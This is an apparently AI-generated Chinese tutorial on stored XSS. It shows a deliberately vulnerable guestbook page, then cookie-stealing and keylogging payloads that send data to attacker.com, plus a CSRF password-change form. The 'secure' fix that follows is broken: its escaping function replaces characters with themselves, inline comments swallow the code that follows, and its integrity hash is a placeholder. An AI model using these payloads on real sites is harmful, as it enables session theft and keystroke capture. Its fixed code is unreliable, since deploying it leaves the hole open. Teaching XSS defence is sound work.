存储型 XSS 漏洞示例
存在漏洞的留言板系统 (vulnerable_guestbook.html)
<!DOCTYPE html>
<html>
<head>
<title>简易留言板</title>
</head>
<body>
<h1>留言板</h1>
<!-- 留言表单 -->
<form id="commentForm">
<input type="text" name="username" placeholder="您的名字" required><br>
<textarea name="comment" placeholder="留言内容" required></textarea><br>
<button type="submit">提交留言</button>
</form>
<!-- 留言显示区域 -->
<div id="comments">
<h2>所有留言:</h2>
<!-- 这里会动态加载所有留言 -->
</div>
<!-- 未经过滤直接存储和显示用户输入 -->
<script>
// 模拟数据库
let commentsDB = [];
// 提交处理
document.getElementById('commentForm').addEventListener('submit', function(e) {
e.preventDefault();
const username = document.querySelector('[name="username"]').value;
const comment = document.querySelector('[name="comment"]').value;
// 直接将用户输入存入"数据库"
commentsDB.push({ username, comment });
// 重新渲染所有评论
renderComments();
// 清空表单
this.reset();
});
// 危险地渲染评论 - 使用innerHTML且未转义
function renderComments() {
const container = document.getElementById('comments');
container.innerHTML = '<h2>所有留言:</h2>';
commentsDB.forEach(entry => {
container.innerHTML += `
<div class="comment">
<strong>${entry.username}</strong>:
${entry.comment}
<hr>
</div>
`;
});
}
// 初始化时渲染已有评论
renderComments();
</script>
</body>
</html>
XSS攻击示例
攻击方式1: JavaScript执行
攻击者可以提交以下内容作为用户名或评论:
<script>alert('XSS攻击成功!')</script>
或者更隐蔽的方式:
<img src=x onerror=alert(document.cookie)>
或者窃取Cookie的payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
攻击方式2: CSRF攻击
<form action="http://victim-site.com/change-password" method="POST">
<input type="hidden" name="newPassword" value="hacked123">
</form><script>document.forms[0].submit()</script>
攻击方式3: Keylogger键盘记录
<script>document.onkeypress=function(e){fetch('https://attacker.com/log?key='+e.key)};</script>
修复方案 (secure_guestbook.html)
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<!-- CSP策略阻止内联脚本执行 -->
<meta http-equiv="Content-Security-Policy" content=
"default-src 'self';
script-src 'self' 'nonce-random123';
connect-src 'self';
img-src 'self' data:;">
<!-- X-XSS-Protection头 -->
<meta http-equiv=X-XSS-Protection content=1; mode=block />
<!-- HttpOnly和Secure Cookie标志 -->
<title>安全的留言板</title></head><body>
<h1>安全留言板</h1>
<form id=commentForm autocomplete=off novalidate><!-- autocomplete防止敏感信息自动填充 --><label for=usernameInput>姓名:</label><input type=text id=usernameInput name=username maxlength=50 pattern=[a-zA-Z0-9\s]+ title=仅允许字母数字和空格 required><!-- HTML5输入验证 -->
<label for=commentTextarea>评论:</label><textarea id=commentTextarea name=comment maxlength=500 required></textarea><!-- maxlength限制长度 -->
<button type=submit disabled aria-busy=false><!-- disabled初始禁用,防止快速点击 -->提交评论</button></form>
<div id=safeComments aria-live=polite><!-- ARIA实时区域用于辅助技术 --><h2>所有评论:</h2></div>
<!-- DOM Purify库用于HTML净化 --><script nonce=random123 src=https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.5/purify.min.js integrity=SHA384-hash crossorigin></script><!-- SRI完整性检查 -->
<script nonce=random123>(function(){
// CSP兼容的非内联脚本
const escapeHtml=(str)=>str.replace(/&/g,'&')
.replace(/"/g,'"')
.replace(/'/g,''')
.replace(/</g,'<')
.replace(/>/g,'>');
const sanitize=(input)=>{
if(typeof input!=='string')return '';
return DOMPurify.sanitize(input,{
ALLOWED_TAGS:['b','i','u','em','strong'],
ALLOW_DATA_ATTR:false,
FORBID_TAGS:['style','script','iframe']
});};
let secureDB=[];
const formElmnts={
form:document.getElementById('commentForm'),
username:document.getElementById('usernameInput'),
comment:document.getElementById('commentTextarea'),
button:document.querySelector('#commentForm button')};
//启用按钮当表单有效时formElmnts.form.addEventListener('input',()=>{
formElmnts.button.disabled=
!formElmnts.username.validity.valid||!formElmnts.comment.validity.valid;});
//安全提交处理formElmnts.form.addEventListener('submit',async(e)=>{
e.preventDefault();try{await new Promise(r=>setTimeout(r,1000));//防暴力破解延迟
const safeUsername=sanitize(formElmnts.username.value.trim());
const safeComment=sanitize(formElmnts.comment.value.trim());
if(!safeUsername||!safeComment)throw new Error("无效输入");
secureDB.push({
username:safeUsername,
comment:safeComment,
date:new Date().toISOString(),
ip:e.ip||null});
renderSafeComments();}catch(err){
console.error("错误:",err);
alert("请提供有效的姓名和评论");}});
//安全渲染函数function renderSafeComments(){
const container = document.getElementById('safeComments');
container.innerHTML='<h2>' + escapeHtml("所有评论") + '</h2>';
secureDB.forEach((entry,i)=>{
const div = document.createElement("div");
div.className = "safe-comment";
div.setAttribute("data-id",i.toString());
const userSpan = document.createElement("span");
userSpan.className = "user-name";
userSpan.textContent = entry.username;//使用textContent而非innerHTML
const textP = document.createElement("p");
textP.textContent = entry.comment;//已经过DOMPurify处理
const dateSmall = document.createElement("small");
dateSmall.textContent=new Date(entry.date).toLocaleString();
div.append(userSpan,textP,dateSmall,document.createElement("hr"));
container.appendChild(div);});}
renderSafeComments();})();/*IIFE结束*/</script></body></html>
防御措施总结
输出编码:
- HTML实体编码 (
escapeHtml
函数) - JavaScript编码 (使用
textContent
而非innerHTML
)
- HTML实体编码 (
输入验证:
- HTML5表单验证 (
pattern
,maxlength
) - Whitelist白名单过滤 (DOMPurify库)
- HTML5表单验证 (
安全HTTP头:
- Content Security Policy (CSP)
- X-XSS-Protection
其他防护:
- Subresource Integrity (SRI)确保外部资源完整性
- Nonces防止内联脚本执行
- ARIA属性增强可访问性安全性
内容由零声教学AI助手提供,问题来源于学员提问